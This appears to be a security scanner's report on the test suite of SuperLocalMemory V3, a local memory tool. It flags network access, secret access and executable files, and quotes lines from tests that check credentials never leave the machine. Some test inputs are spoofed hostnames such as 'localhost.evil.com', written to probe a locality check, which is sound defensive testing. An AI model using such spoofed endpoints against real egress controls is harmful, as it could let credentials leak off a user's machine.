"Direct httpx.Client() construction detected — must use _get_http_client()"
tests/test_core/test_community_summary.py
- Executable scriptline 1
Executable file
tests/test_core/test_compaction_not_applicable.py
- Executable scriptline 1
Executable file
tests/test_core/test_component_registry.py
- Executable scriptline 1
Executable file
tests/test_core/test_config.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 47
[Credential-related source omitted] - Network accessline 48
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Network accessline 170
cfg = SLMConfig.for_mode( Mode.C, embedding_endpoint="https://ai.example.com", - Network accessline 171
Mode.C, embedding_endpoint="https://ai.example.com", embedding_key="test_key", - Network accessline 172
embedding_endpoint="https://ai.example.com", - Network accessline 174
[Credential-related source omitted] - Network accessline 175
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Network accessline 176
llm_api_base="https://llm.example.com", - Network accessline 212
cfg = SLMConfig.for_mode( Mode.B, embedding_ollama_base_url="http://ollama-box:9999", - Network accessline 213
Mode.B, embedding_ollama_base_url="http://ollama-box:9999", - Network accessline 214
embedding_ollama_model="mxbai-embed-large", ) assert cfg.embedding.ollama_base_url == "http://ollama-box:9999" - Network accessline 215
) assert cfg.embedding.ollama_base_url == "http://ollama-box:9999" assert cfg.embedding.ollama_model == "mxbai-embed-large" - Network accessline 216
assert cfg.embedding.ollama_base_url == "http://ollama-box:9999" - Network accessline 219
def test_mode_b_defaults_the_ollama_base_url_when_unset(self) -> None: cfg = SLMConfig.for_mode(Mode.B) assert cfg.embedding.ollama_base_url == "http://localhost:11434" - Network accessline 220
cfg = SLMConfig.for_mode(Mode.B) assert cfg.embedding.ollama_base_url == "http://localhost:11434" assert cfg.embedding.ollama_model == "nomic-embed-text" - Network accessline 221
assert cfg.embedding.ollama_base_url == "http://localhost:11434" - Network accessline 227
cfg = SLMConfig.for_mode( Mode.A, embedding_provider="ollama", embedding_ollama_base_url="http://ollama-box:9999", - Network accessline 228
Mode.A, embedding_provider="ollama", embedding_ollama_base_url="http://ollama-box:9999", ) - Network accessline 229
embedding_ollama_base_url="http://ollama-box:9999", - Network accessline 231
assert cfg.embedding.ollama_base_url == "http://ollama-box:9999" - Network accessline 283
"""4.1.22: a persisted embedding.ollama_base_url (and ollama_model) used to be written and then silently dropped on the next load, always reverting to http://localhost:11434 -- the save/load pair - Network accessline 284
used to be written and then silently dropped on the next load, always reverting to http://localhost:11434 -- the save/load pair is now a real round trip.""" - Network accessline 285
always reverting to http://localhost:11434 -- the save/load pair - Network accessline 287
cfg = SLMConfig.for_mode( Mode.B, base_dir=tmp_path, embedding_ollama_base_url="http://ollama-box:9999", - Network accessline 288
Mode.B, base_dir=tmp_path, embedding_ollama_base_url="http://ollama-box:9999", embedding_ollama_model="mxbai-embed-large", - Network accessline 289
embedding_ollama_base_url="http://ollama-box:9999", - Network accessline 293
cfg.save(cfg_path, mode_change=True) loaded = SLMConfig.load(cfg_path) assert loaded.embedding.ollama_base_url == "http://ollama-box:9999" - Network accessline 294
loaded = SLMConfig.load(cfg_path) assert loaded.embedding.ollama_base_url == "http://ollama-box:9999" assert loaded.embedding.ollama_model == "mxbai-embed-large" - Network accessline 295
assert loaded.embedding.ollama_base_url == "http://ollama-box:9999"
tests/test_core/test_config_atomic_save.py
- Executable scriptline 1
Executable file
tests/test_core/test_consolidation_engine.py
- Executable scriptline 1
Executable file
tests/test_core/test_consolidation_writes_no_memories.py
- Executable scriptline 1
Executable file
tests/test_core/test_context_cache.py
- Executable scriptline 1
Executable file
tests/test_core/test_context_loads_are_not_questions.py
- Executable scriptline 1
Executable file
tests/test_core/test_core_block_hygiene.py
- Executable scriptline 1
Executable file
tests/test_core/test_core_memory_blocks.py
- Executable scriptline 1
Executable file
tests/test_core/test_correction_candidate_pipeline.py
- Executable scriptline 1
Executable file
tests/test_core/test_coverage_backfill.py
- Executable scriptline 1
Executable file
tests/test_core/test_credentials_never_leave_the_machine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 27
@pytest.mark.parametrize("url", [ "http://localhost:11434/api/chat", - Network accessline 28
"http://localhost:11434/api/chat", - Network accessline 29
"http://127.0.0.1:8080/v1", - Network accessline 30
"http://[::1]:9000/v1/embeddings", - Network accessline 36
@pytest.mark.parametrize("url", [ "", "https://api.openai.com/v1/chat/completions", "https://x.openai.azure.com", - Network accessline 37
"", "https://api.openai.com/v1/chat/completions", "https://x.openai.azure.com", - Network accessline 38
"http://192.168.1.20:11434/api/chat", "https://localhost.evil.example/v1", - Network accessline 42
"http://my-box.localhost:1234", - Network accessline 48
def test_text_for_a_remote_endpoint_loses_the_credential_and_keeps_the_rest() -> None: out = for_endpoint(_TEXT, "https://api.openai.com/v1") - Network accessline 49
out = for_endpoint(_TEXT, "https://api.openai.com/v1") - Network accessline 54
def test_text_for_a_local_endpoint_is_unchanged() -> None: assert for_endpoint(_TEXT, "http://localhost:11434") == _TEXT - Network accessline 55
assert for_endpoint(_TEXT, "http://localhost:11434") == _TEXT - Access to secretsline 60
[Credential-related source omitted] - Network accessline 78
@pytest.mark.parametrize("provider,api_base", [ ("openai", "https://api.openai.com/v1"), - Network accessline 79
("openai", "https://api.openai.com/v1"), - Network accessline 80
("anthropic", ""), ("azure", "https://x.openai.azure.com"), ("openrouter", ""), - Network accessline 81
("azure", "https://x.openai.azure.com"), - Network accessline 90
def test_a_model_on_this_machine_sees_the_text_as_written(monkeypatch) -> None: sent = _capture_backbone(monkeypatch, "ollama", "http://localhost:11434") - Network accessline 91
sent = _capture_backbone(monkeypatch, "ollama", "http://localhost:11434") - Network accessline 108
body = json.loads(request.content) bodies.append(body) return httpx.Response(200, json={"data": [ - Network accessline 109
bodies.append(body) return httpx.Response(200, json={"data": [ {"embedding": [0.0, 1.0], "index": i} for i in range(len(body["input"]))]}) - Network accessline 110
return httpx.Response(200, json={"data": [ - Network accessline 114
options.append(dict(kwargs)) kwargs.pop("transport", None) return real_client(transport=httpx.MockTransport(_handler), **kwargs) - Network accessline 116
return real_client(transport=httpx.MockTransport(_handler), **kwargs) - Network accessline 122
[Credential-related source omitted] - Network accessline 123
[Credential-related source omitted] - Network accessline 124
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Network accessline 129
[Credential-related source omitted] - Network accessline 130
[Credential-related source omitted] - Network accessline 131
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 137
[Credential-related source omitted] - Network accessline 138
[Credential-related source omitted] - Network accessline 139
[Credential-related source omitted] - Access to secretsline 139
[Credential-related source omitted]
tests/test_core/test_daemon_text_embedder.py
tests/test_core/test_data_locality.py
- Executable scriptline 1
Executable file - Network accessline 23
REMOTE_EMBEDDING = "https://api.openai.com/v1/embeddings" - Network accessline 24
LOCAL_EMBEDDING = "http://127.0.0.1:8045/v1/embeddings" - Network accessline 38
@pytest.mark.parametrize("url", [ "http://localhost:8045/v1/embeddings", - Network accessline 39
"http://localhost:8045/v1/embeddings", - Network accessline 40
"http://LOCALHOST/v1", - Network accessline 41
"http://embed.localhost:9000/v1", - Network accessline 42
"http://127.0.0.1:8045/v1", - Network accessline 43
"http://127.3.4.5/v1", - Network accessline 44
"http://[::1]:8045/v1", - Network accessline 45
"http://10.0.0.5:8000/v1", - Network accessline 46
"http://172.16.0.1/v1", - Network accessline 47
"http://172.31.255.254/v1", - Network accessline 48
"http://192.168.1.20:11434/v1", - Network accessline 49
"http://169.254.10.10/v1", - Network accessline 50
"http://[fd12:3456::1]/v1", - Network accessline 51
"http://[fc00::1]/v1", - Network accessline 52
"http://[fe80::1]/v1", - Network accessline 53
"http://[::ffff:192.168.1.5]/v1", - Network accessline 62
@pytest.mark.parametrize("url", [ "https://api.openai.com/v1/embeddings", - Network accessline 63
"https://api.openai.com/v1/embeddings", - Network accessline 64
"http://8.8.8.8/v1", - Network accessline 65
"http://172.15.0.1/v1", - Network accessline 66
"http://172.32.0.1/v1", - Network accessline 67
"http://100.64.0.1/v1", - Network accessline 68
"http://[2606:4700::1111]/v1", - Network accessline 69
"http://my-box.lan:8000/v1", # a name is not proof: no DNS at config time - Network accessline 70
"http://localhost.evil.com/v1", - Network accessline 71
"http://notlocalhost/v1", - Network accessline 91
monkeypatch.setattr(socket, "getaddrinfo", _boom) monkeypatch.setattr(socket, "gethostbyname", _boom) assert is_local_endpoint("https://some.unresolvable.example/v1") is False - Network accessline 93
assert is_local_endpoint("https://some.unresolvable.example/v1") is False - Network accessline 142
llm = LLMConfig(provider="openai", model="m", api_base="http://127.0.0.1:8000/v1") - Network accessline 179
emb = EmbeddingConfig(provider="ollama", ollama_base_url="http://gpu.example.com:11434")
tests/test_core/test_decay_uses_the_stores_timescale.py
- Executable scriptline 1
Executable file
tests/test_core/test_dependency_version_warning.py
- Executable scriptline 1
Executable file
tests/test_core/test_deployment_config.py
- Executable scriptline 1
Executable file
tests/test_core/test_derivation_lineage.py
- Executable scriptline 1
Executable file
tests/test_core/test_egress_exits_are_gated.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 30
_AZURE_KEY = "azkey-" + "0123456789abcdef0123456789abcdef" # fake _OPENROUTER_KEY = "sk-or-v1-" + "f" * 64 # fake _AZURE_BASE = "https://contoso.openai.azure.com" - Network accessline 31
_OPENROUTER_KEY = "sk-or-v1-" + "f" * 64 # fake _AZURE_BASE = "https://contoso.openai.azure.com" _LAN = "http://192.168.1.50:11434" - Network accessline 32
_AZURE_BASE = "https://contoso.openai.azure.com" - Network accessline 33
_LAN = "http://192.168.1.50:11434" - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Network accessline 112
_assert_screened(wire) for req in wire: assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" - Network accessline 113
for req in wire: assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" assert "openrouter" not in req["url"] - Network accessline 114
assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" - Network accessline 125
for req in wire: if _AZURE_KEY in json.dumps(req["headers"]): assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" - Network accessline 127
assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" - Network accessline 139
Summarizer(_llm_cfg("b", "ollama", _LAN)).summarize_cluster([{"content": _MEMORY}]) _assert_screened(wire) assert all(httpx.URL(r["url"]).host == "192.168.1.50" for r in wire) - Network accessline 141
assert all(httpx.URL(r["url"]).host == "192.168.1.50" for r in wire) - Network accessline 152
monkeypatch.setattr(ollama_reachability, "ollama_reachable", lambda *a, **k: True) Summarizer(_llm_cfg("b", "ollama", "http://localhost:11434")).summarize_cluster( - Network accessline 153
Summarizer(_llm_cfg("b", "ollama", "http://localhost:11434")).summarize_cluster( - Access to secretsline 161
[Credential-related source omitted] - Network accessline 192
_assert_screened(wire) for req in wire: assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" - Network accessline 193
for req in wire: assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" assert not req["url"].endswith("/api/generate") - Network accessline 194
assert httpx.URL(req["url"]).host == "contoso.openai.azure.com" - Network accessline 228
def test_an_ollama_embedder_on_this_machine_sees_the_text(wire) -> None: with pytest.raises(_Stop): _ollama_embedder("http://127.0.0.1:11434")._call_ollama_embed_batch([_MEMORY]) - Network accessline 229
with pytest.raises(_Stop): _ollama_embedder("http://127.0.0.1:11434")._call_ollama_embed_batch([_MEMORY]) assert _KEY in wire[0]["body"] - Network accessline 230
_ollama_embedder("http://127.0.0.1:11434")._call_ollama_embed_batch([_MEMORY]) - Network accessline 298
async def _handler(request): bodies.append(request.content) return httpx.Response(200, text="data: [DONE]\n") - Network accessline 300
return httpx.Response(200, text="data: [DONE]\n") - Network accessline 304
def _with_mock(method, url, payload, **kw): return real(method, url, payload, transport=httpx.MockTransport(_handler), **kw) - Network accessline 305
return real(method, url, payload, transport=httpx.MockTransport(_handler), **kw) - Network accessline 348
def _handler(request: httpx.Request) -> httpx.Response: bodies.append(request.content) return httpx.Response(200, json={"ok": True}) - Network accessline 350
return httpx.Response(200, json={"ok": True}) - Network accessline 352
hosted = HostedTransport(transport=httpx.MockTransport(_handler)) - Network accessline 355
{"content": json.dumps({"memories": [_MEMORY]}).encode()}): _body, status, failure = hosted.post( "https://api.typesafe.ai/v1/systemone", {"X": "1"}, - Network accessline 356
_body, status, failure = hosted.post( "https://api.typesafe.ai/v1/systemone", {"X": "1"}, deadline=time.monotonic() + 5, **kw) - Network accessline 357
"https://api.typesafe.ai/v1/systemone", {"X": "1"}, - Access to secretsline 373
[Credential-related source omitted]
tests/test_core/test_embed_memory_check_in_process.py
- Executable scriptline 1
Executable file
tests/test_core/test_embed_model_check.py
- Executable scriptline 1
Executable file
tests/test_core/test_embed_route_prompt.py
- Executable scriptline 1
Executable file
tests/test_core/test_embedding_fallback.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 47
def test_cloud_provider(self) -> None: cfg = EmbeddingConfig(provider="cloud", api_endpoint="https://x.com") - Network accessline 48
cfg = EmbeddingConfig(provider="cloud", api_endpoint="https://x.com") - Network accessline 58
cfg = EmbeddingConfig() assert cfg.ollama_model == "nomic-embed-text" assert cfg.ollama_base_url == "http://localhost:11434" - Network accessline 60
assert cfg.ollama_base_url == "http://localhost:11434"
tests/test_core/test_embedding_no_invention.py
tests/test_core/test_embedding_pressure_hysteresis.py
- Executable scriptline 1
Executable file
tests/test_core/test_embedding_provider_matches_model.py
- Executable scriptline 1
Executable file
tests/test_core/test_embedding_worker_backend_order.py
- Executable scriptline 1
Executable file
tests/test_core/test_embedding_worker_spawn_lock.py
- Executable scriptline 1
Executable file
tests/test_core/test_engine_capabilities.py
- Executable scriptline 1
Executable file
tests/test_core/test_engine_close_joins_its_threads.py
- Executable scriptline 1
Executable file
tests/test_core/test_engine_lock.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_engine_recall_path.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_engine_session_lifecycle.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_engine_store_path.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_engine_store_profile.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_engine_upgrade.py
- Executable scriptline 1
Executable file - Network accessline 41
def test_the_target_is_the_managed_model_and_drops_endpoint_and_key(): live = EmbeddingConfig(provider="openai", model_name="text-embedding-3-small", dimension=1536, api_endpoint="https://example.invalid/v1", - Network accessline 42
[Credential-related source omitted] - Network accessline 43
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted]
tests/test_core/test_enrich_new_facts_now.py
- Executable scriptline 1
Executable file
tests/test_core/test_entity_community.py
- Executable scriptline 1
Executable file
tests/test_core/test_error_envelope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_every_memory_gets_a_place_in_the_graph.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_evidence_bundle.py
- Executable scriptline 1
Executable file
tests/test_core/test_exact_lexical_evidence.py
- Executable scriptline 1
Executable file
tests/test_core/test_f1_store_pipeline_repair_fallback.py
- Executable scriptline 1
Executable file
tests/test_core/test_f5_embedding_mid_window_eviction.py
- Executable scriptline 1
Executable file
tests/test_core/test_f7_f9_ingestion_lease_hardening.py
- Executable scriptline 1
Executable file
tests/test_core/test_fact_consolidator_dbmanager.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_fact_consolidator_dedup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_file_lock.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_full_consolidation_wiring.py
tests/test_core/test_graph_analyzer.py
- Executable scriptline 1
Executable file
tests/test_core/test_graph_metrics_helper_has_room.py
- Executable scriptline 1
Executable file
tests/test_core/test_graph_metrics_run_outside_the_daemon.py
- Executable scriptline 1
Executable file
tests/test_core/test_hard_abstain.py
- Executable scriptline 1
Executable file
tests/test_core/test_health_monitor_budget.py
- Executable scriptline 1
Executable file
tests/test_core/test_hub_baseline_engine_wiring.py
- Executable scriptline 1
Executable file
tests/test_core/test_ingest_gate.py
- Executable scriptline 1
Executable file
tests/test_core/test_ingestion_command.py
- Executable scriptline 1
Executable file
tests/test_core/test_ingestion_entropy_admission.py
- Executable scriptline 1
Executable file
tests/test_core/test_ingestion_lease_after_crash.py
tests/test_core/test_injected_text_has_a_hard_token_cap.py
- Executable scriptline 1
Executable file
tests/test_core/test_jev_rerank_wiring.py
- Executable scriptline 1
Executable file - Network accessline 65
def _ok(answers) -> httpx.Response: return httpx.Response(200, json={"model": MODEL, "answers": answers, - Network accessline 66
return httpx.Response(200, json={"model": MODEL, "answers": answers, - Network accessline 91
def __init__(self, handler) -> None: self.requests: list[httpx.Request] = [] self.transport = httpx.MockTransport(self._wrap(handler)) - Network accessline 93
self.transport = httpx.MockTransport(self._wrap(handler)) - Network accessline 95
def _wrap(self, handler): def wrapped(request): self.requests.append(request) - Network accessline 96
def wrapped(request): self.requests.append(request) return handler(request) - Network accessline 97
self.requests.append(request) - Network accessline 184
def _timeout(request): raise httpx.ReadTimeout("slow", request=request) - Network accessline 185
raise httpx.ReadTimeout("slow", request=request) - Network accessline 194
@pytest.mark.parametrize("handler", [ _timeout, lambda r: httpx.Response(503, json={"error": "x"}), - Network accessline 195
_timeout, lambda r: httpx.Response(503, json={"error": "x"}), lambda r: httpx.Response(200, content=b"oops"), - Network accessline 196
lambda r: httpx.Response(503, json={"error": "x"}), - Network accessline 197
lambda r: httpx.Response(200, content=b"oops"),
tests/test_core/test_judge_keys.py
- Executable scriptline 1
Executable file
tests/test_core/test_judge_keys_hardening.py
- Executable scriptline 1
Executable file
tests/test_core/test_judge_selection.py
- Executable scriptline 1
Executable file
tests/test_core/test_junk_cannot_score_as_keep_worthy.py
- Executable scriptline 1
Executable file
tests/test_core/test_keep_worthiness_live_shapes.py
- Executable scriptline 1
Executable file
tests/test_core/test_key_expander.py
- Executable scriptline 1
Executable file
tests/test_core/test_kind_on_resave.py
- Executable scriptline 1
Executable file
tests/test_core/test_kind_query.py
- Executable scriptline 1
Executable file
tests/test_core/test_kind_reconcile_task.py
- Executable scriptline 1
Executable file
tests/test_core/test_kind_upgrade_once.py
- Executable scriptline 1
Executable file
tests/test_core/test_langevin_init.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_laya_download_location.py
- Executable scriptline 1
Executable file
tests/test_core/test_laya_interpreter_safety.py
tests/test_core/test_laya_runtime.py
tests/test_core/test_laya_runtime_native.py
tests/test_core/test_laya_worker.py
tests/test_core/test_laya_worker_replies_and_watchdog.py
- Executable scriptline 1
Executable file
tests/test_core/test_lifecycle_has_one_authority.py
- Executable scriptline 1
Executable file
tests/test_core/test_light_engine_managed_embedder.py
- Executable scriptline 1
Executable file
tests/test_core/test_lineage_outside_the_write_lock.py
- Executable scriptline 1
Executable file
tests/test_core/test_long_reads_take_no_write_lock.py
- Executable scriptline 1
Executable file
tests/test_core/test_maintenance_never_archives_a_used_memory.py
- Executable scriptline 1
Executable file
tests/test_core/test_maintenance_scheduler_startup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_memory_kind_backfill.py
- Executable scriptline 1
Executable file
tests/test_core/test_memory_kind_backfill_decisions.py
- Executable scriptline 1
Executable file
tests/test_core/test_memory_kind_config.py
- Executable scriptline 1
Executable file
tests/test_core/test_memory_kind_wiring.py
- Executable scriptline 1
Executable file
tests/test_core/test_migration_daemon_safety.py
- Executable scriptline 1
Executable file
tests/test_core/test_migration_v3_4_26.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_mode_b_local_endpoint.py
- Executable scriptline 1
Executable file - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Access to secretsline 210
[Credential-related source omitted] - Access to secretsline 341
[Credential-related source omitted]
tests/test_core/test_mode_reconcile.py
- Executable scriptline 1
Executable file
tests/test_core/test_model_catalog.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_modes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_mutation_routing.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_mutation_semantic_sync.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """A fact correction must replace the fact's semantic representation. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_mutation_service.py
- Executable scriptline 1
Executable file
tests/test_core/test_no_machine_correction_inside_one_save.py
- Executable scriptline 1
Executable file
tests/test_core/test_ollama_embedder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_one_drain_pass_is_one_vector_write.py
- Executable scriptline 1
Executable file
tests/test_core/test_one_model_default.py
- Executable scriptline 1
Executable file
tests/test_core/test_openai_embeddings.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 44
cfg = EmbeddingConfig( provider="openai", api_endpoint="http://localhost:8045/v1/embeddings", - Network accessline 45
provider="openai", api_endpoint="http://localhost:8045/v1/embeddings", ) - Network accessline 46
api_endpoint="http://localhost:8045/v1/embeddings", - Network accessline 51
cfg = EmbeddingConfig( provider="ollama", api_endpoint="http://localhost:11434", - Network accessline 52
provider="ollama", api_endpoint="http://localhost:11434", ) - Network accessline 53
api_endpoint="http://localhost:11434", - Network accessline 60
model_name="Qwen3-Embedding", dimension=1024, api_endpoint="http://192.168.50.140:8045/v1/embeddings", - Network accessline 61
[Credential-related source omitted] - Network accessline 62
api_endpoint="http://192.168.50.140:8045/v1/embeddings", - Access to secretsline 63
[Credential-related source omitted] - Network accessline 91
Mode.A, embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", - Network accessline 92
embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", embedding_model_name="bge-m3", - Network accessline 93
embedding_endpoint="http://localhost:8045/v1", - Network accessline 99
assert cfg.embedding.model_name == "bge-m3" assert cfg.embedding.dimension == 1024 assert cfg.embedding.api_endpoint == "http://localhost:8045/v1" - Network accessline 101
assert cfg.embedding.api_endpoint == "http://localhost:8045/v1" - Network accessline 107
llm_model="llama3.2", embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", - Network accessline 108
embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", embedding_model_name="multilingual-e5-large", - Network accessline 109
embedding_endpoint="http://localhost:8045/v1", - Network accessline 139
llm_model="llama3.2", embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", - Network accessline 140
embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", embedding_model_name="Qwen3-Embedding", - Network accessline 141
embedding_endpoint="http://localhost:8045/v1", - Network accessline 150
